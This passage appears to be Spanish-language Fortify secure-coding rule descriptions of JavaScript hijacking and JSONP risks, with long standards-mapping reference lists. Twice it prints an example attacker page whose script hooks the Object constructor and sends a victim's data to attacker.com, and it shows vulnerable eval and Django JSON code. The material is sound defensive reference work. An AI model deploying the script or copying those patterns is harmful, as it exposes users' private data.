[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable. Las matrices de JavaScript pueden ser robadas si el motor JavaScript del explorador permite el envenenamiento del constructor por matrices.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si:
1) Utiliza JavaScript como un formato de transferencia de datos.
2) Administra datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks llama la atención ante posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.

Ejemplo 2: el siguiente código muestra un método de vista de Django de ejemplo que envía una respuesta JSON que contiene datos confidenciales en forma de una matriz de JSON.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP es una técnica de comunicación insegura que solo debería utilizarse cuando no haya datos personales ni confidenciales implicados e inmunizando la función de devolución de llamada.
Explanation
Debido a su diseño, JSONP permite realizar solicitudes entre dominios pero carece de todo mecanismo para restringir o verificar el origen de las solicitudes. Un sitio malintencionado puede realizar fácilmente una solicitud JSONP en nombre del usuario y procesar la respuesta JSON. Por este motivo, se recomienda encarecidamente evitar esta técnica de comunicación cuando se envíen datos confidenciales o información personalmente identificable.
Debido a su diseño, JSONP es un ataque XSS autoinfligido, ya que para un procesamiento JSON adecuado es necesario que el nombre de la función de devolución de llamada se refleje en el sitio solicitante. Es obligatorio validar e inmunizar el nombre de la función de devolución de llamada para evitar la inyección de JavaScript. Con el fin de inmunizar el nombre de la función de devolución de llamada, considere la posibilidad de crear una lista de caracteres permitidos, cuando sea posible, o admita únicamente caracteres alfanuméricos.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP es una técnica de comunicación insegura que solo debería utilizarse cuando no haya datos personales ni confidenciales implicados.
Explanation
Debido a su diseño, JSONP permite realizar solicitudes entre dominios pero carece de todo mecanismo para restringir y verificar el origen de las solicitudes. Un sitio malintencionado puede realizar fácilmente una solicitud JSONP en nombre del usuario y procesar la respuesta JSON. Por este motivo, se recomienda encarecidamente evitar esta técnica de comunicación cuando se envíen datos confidenciales o información de identificación personal.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Las aplicaciones que utilizan Microsoft AJAX.NET (Atlas) pueden ser vulnerables a suplantación de JavaScript, permitiendo a un atacante no autorizado el acceso a datos confidenciales.
Explanation
Microsoft AJAX.NET (Atlas) utiliza JSON para transferir datos entre el servidor y el cliente. El marco de trabajo produce respuestas compuestas de JavaScript válido que se pueden evaluar utilizando una etiqueta <script> y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script> maliciosa (puesto que las etiquetas <script> solo generan solicitudes GET). No obstante, Microsoft AJAX.NET ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

